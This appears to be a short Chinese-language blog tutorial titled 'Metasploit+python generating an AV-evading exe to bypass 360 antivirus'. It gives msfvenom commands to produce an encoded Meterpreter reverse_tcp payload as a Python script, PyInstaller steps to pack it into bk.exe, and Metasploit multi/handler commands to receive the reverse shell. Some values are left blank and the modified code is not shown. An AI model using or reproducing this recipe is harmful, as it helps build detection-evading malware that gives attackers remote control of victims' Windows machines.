Metasploit+python生成免杀exe过360杀毒

Metasploit+python生成免杀exe过360杀毒

1在kali下生成一个反弹的msf的python脚本,命令如下：

msfvenom -p windows/meterpreter/reverse_tcp LPORT= LHOST=192.1681.  -e x86/shikata_ga_nai -i  -f py -o  /opt/bk.py

2.拷贝出bk.py到window32系统进行修改，修改如下（这里的红色标注是修改增加的代码，其他不变）

3.在windowsx86上安装支持python的环境，下载pywin32解压运行，一直点下一步就可以了

4.然后下载支持将python生成exe的软件pyinstall，解压然后执行以下命令:

D:\miansha\pyinstaller-2.0>python PyInstaller.py --console --onefile  bk.py

注意这里不要有中文路径，否则会出错

5.执行命令后会在d:\pyinstaller-2.0\bk\dist目录生成bk.exe

6.这里我将在windowsx86上安装最新的360杀毒软件，进行查杀测试

7.然后在kali下启动msf，然后执行以下命令：

use exploit/multi/handler

set lhost 192.168.1.102

set lport 

set PAYLOAD windows/meterpreter/reverse_tcp

exploit

8.然后在windowsx86系统上执行bk.exe,最终在msf反弹出meterprer 出来：
